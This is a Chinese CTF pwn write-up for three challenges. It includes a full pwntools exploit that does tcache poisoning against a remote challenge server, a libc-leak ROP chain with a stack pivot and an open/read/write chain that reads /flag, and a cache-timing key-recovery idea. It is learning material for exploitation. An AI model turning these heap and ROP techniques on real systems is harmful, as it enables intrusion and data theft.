# spn(11.26)
附件下载
复现这道题的时候,我一开始用的是 0RAYS 的解法,大致是找 spn 的解密脚本,计算给出的 shell 的真实地址,然后用 tcache 打 shell,最后选 5 进 backdoor.
虽说是读懂了 0RAYS 的脚本,而且也算是进一步学习了一下 tcache 的机制,
然而我一番搜索,着实找不到好用的 spn 解密脚本,就只好另寻出路.
0RAY 的脚本放上:
#!/usr/bin/python | |
# -*- coding:utf-8 -*- | |
from pwn import * | |
import sys | |
context.log_level = 'debug' | |
context.arch='amd64' | |
local=0 | |
binary_name='SPN_ENC' | |
libc_name='lib/libc-2.27.so' | |
if local: | |
p=process("./"+binary_name) | |
libc=ELF("./"+libc_name) | |
else: | |
p=remote('124.71.194.126',9999) | |
e=ELF("./"+binary_name) | |
libc=ELF("./"+libc_name) | |
def z(a=''): | |
if local: | |
gdb.attach(p,a) | |
if a=='': | |
raw_input | |
else: | |
pass | |
ru=lambda x:p.recvuntil(x) | |
sl=lambda x:p.sendline(x) | |
sd=lambda x:p.send(x) | |
sa=lambda a,b:p.sendafter(a,b) | |
sla=lambda a,b:p.sendlineafter(a,b) | |
ia=lambda :p.interactive() | |
# 这里真的是学到了,不过也是我之前看大佬的 wp 太少的缘故,之前我还在傻傻地一个字一个字地敲 (+_+) | |
def leak_address(): | |
if(context.arch=='i386'): | |
return u32(p.recv(4)) | |
else : | |
return u64(p.recv(6).ljust(8,b'\x00')) | |
def cho(num): | |
sla("0.exit\n",str(num)) | |
def add(size,idx): | |
cho(1) | |
sla("Size:",str(size)) | |
sla("Index:",str(idx)) | |
def delete(idx): | |
cho(3) | |
sla("Index:",str(idx)) | |
def show(idx): | |
cho(4) | |
sla("Index:",str(idx)) | |
def edit(idx,size,data): | |
cho(2) | |
sla("Index:",str(idx)) | |
sla("Size",str(size)) | |
sa("Content",data) | |
def backdoor(): | |
cho(5) | |
def decrypt(x): | |
io = process('./spn_dec.py') | |
io.sendline(str(x&0xffff)) | |
a = int(io.recv()[:-1]) | |
io.close() | |
return a | |
def spn_dec(x): | |
a1 = decrypt(x) | |
a2 = decrypt(x>>16) | |
a3 = decrypt(x>>32) | |
aa = a1+a2*0x10000+a3*0x100000000 | |
print(hex(a3),hex(a2),hex(a1)) | |
print(aa) | |
return aa | |
ru("gift:") | |
shell_addr=int(ru('\n'),16) | |
print(hex(shell_addr)) | |
aa = spn_dec(shell_addr) | |
print(hex(aa)) | |
add(0x10,0) | |
add(0x10,1) | |
add(0x10,2) | |
delete(2) | |
delete(1) | |
edit(0,0x26,b'a'*0x20+p64(aa)[:-2]) | |
add(0x10,3) | |
add(0x10,4) | |
edit(4,2,b'aa') | |
backdoor() | |
ia() | |
# 害,身为菜鸡,我连脚本都没大佬写得好看 |
然后,我找到了另一种解法,输入 0x1000,数组越界写了 shell,可以直接 backdoor
add(0,0x1000) | |
add(1,0x20) | |
edit(0,0x1000+2,'\n') | |
backdoor() |
# checkin(11.27)
# 关于 ASan
这道题使用了 ASan,是一种影子内存的技术。关于它的具体内容可以参考这篇文章
这里记录一点大致的内容
ASan 是 Google 开源的一个用于进行内存检测的工具,它由两个主要部分构成,插桩和动态运行库 (Run-time library)。
插桩主要是针对在 llvm 编译器级别对访问内存的操作 (store,load,alloca 等),将它们进行处理。
动态运行库主要提供一些运行时的复杂的功能 (比如 poison/unpoison shadow memory) 以及将 malloc,free 等系统调用函数 hook 住
ASan 采用了直接内存映射策略,具体的映射策略如下所示
64 位
Shadow = (Mem >> 3) + 0x7fff8000;
32 位
Shadow = (Mem >> 3) + 0x20000000;
# 关于 orw
由来:
有些 pwn 题为了增加难度,会在程序初始化的时候增加 seccomp 函数,禁用掉除了 sys_open,sys_write,sys_read 以外的所有系统调用。也就是说我们无法通过 system(‘/bin/sh’)来 getshell,只能通过 o,r,w 这三个系统调用获取 flag。
漏洞利用:
首先调用 open 函数打开 flag 文件。
然后读取 flag 文件。
最后通过 wirte 将 flag 打印出来。
sys_open("flag")//读取flag | |
sys_read("rax","rsp",0x40)//rax为sysoopen的返回值,也就是flag,然后将flag写到esp下 | |
sys_write(1,"rsp",0x40)//打印flag的值到屏幕输出 |
害,还是知识不到位,这里再放一篇挺详细的 orw 介绍
# 分析
pwn 内可以任意地址写一个字节,故修改 _ZN14__interception21real___isoc99_vfscanfE 的第二个字节,使其指向 gets 函数 (0x73ED28)
sla(b'Welcome! A gift for you:',str(0x73edb8+1)) | |
sleep(1) | |
sd(b'\x91') | |
sa(b'Leave a note.',b'a'*0x1f) | |
sa(b"That's all. Have fun!",p64(0x43FBB3)) |
构造 rop,调用 gets 函数,泄露 libc_addr 地址
pop_rdi = 0x41af0b | |
pop_rsp = 0x484d50 | |
call_puts = 0x43A286 | |
rop = p64(pop_rdi)+p64(0x72DE30)+p64(call_puts)+b'a'*0x838+p64(0)*6+p64(pop_rdi)+p64(0xA00000)+p64(0x43FBB3)+b'a'*0x30+p64(0)*3+p64(pop_rsp)+p64(0xA00000) | |
try: | |
p.recv() | |
sl(rop) | |
libc_addr = leak_address()-0x407e0 | |
print(hex(libc_addr)) | |
if libc_addr == 0x736572605c61: | |
p.close() | |
return 0 | |
except Exception: | |
return 0 | |
print(hex(libc_addr)) |
最后栈迁移 + orw 调用获取 flag 文件
binsh=libc_addr+0x1B3E1A | |
system=libc_addr+0x4f550 | |
pop_rsi=0x000000000041ab7c | |
pop_rdx=0x000000000043ced2 | |
open_addr=libc_addr+libc.sym['open'] | |
read_addr=libc_addr+libc.sym['read'] | |
write_addr=libc_addr+libc.sym['write'] | |
rop2 = p64(pop_rdi)+p64(0xA00100)+p64(pop_rsi)+p64(0)+p64(open_addr) | |
rop2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(read_addr) | |
rop2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(0xA00200)+p64(pop_rdx)+p64(0x100)+p64(write_addr) | |
rop2 = rop2.ljust(0x100,b'\x00')+b'/flag\x00' | |
sl(rop2) |
# slow_spn(11.29)
附件下载
这题感觉挺奇怪的。。。
貌似除了 pwntools 工具,就没有用到啥和 pwn 相关的东西,主要的解题思路也没啥漏洞利用的感觉,大概属于密码。
程序的大概流程就是:从 flag 文件里面导出 key 和 plaintext,然后通过 s 盒和 p 盒放入 cache 里面.
cache 是题目实现的,最多可以往里添加 0x20 个数(模拟访问 s 盒中的地址),超过了会剔除最小的一个,若是 cache 命中了则使用算法计数,未命中则 sleep (1),
由于题目给了一次访问 plaintext 在 s 盒中的地址的机会,所以可以通过遍历来爆破,通过 sleep (1) 判断 cache 是否命中,然后推出上图中 p,v9,v7,v5 以及 k>>8,k>>4,k 的值,然后拼接得到 key.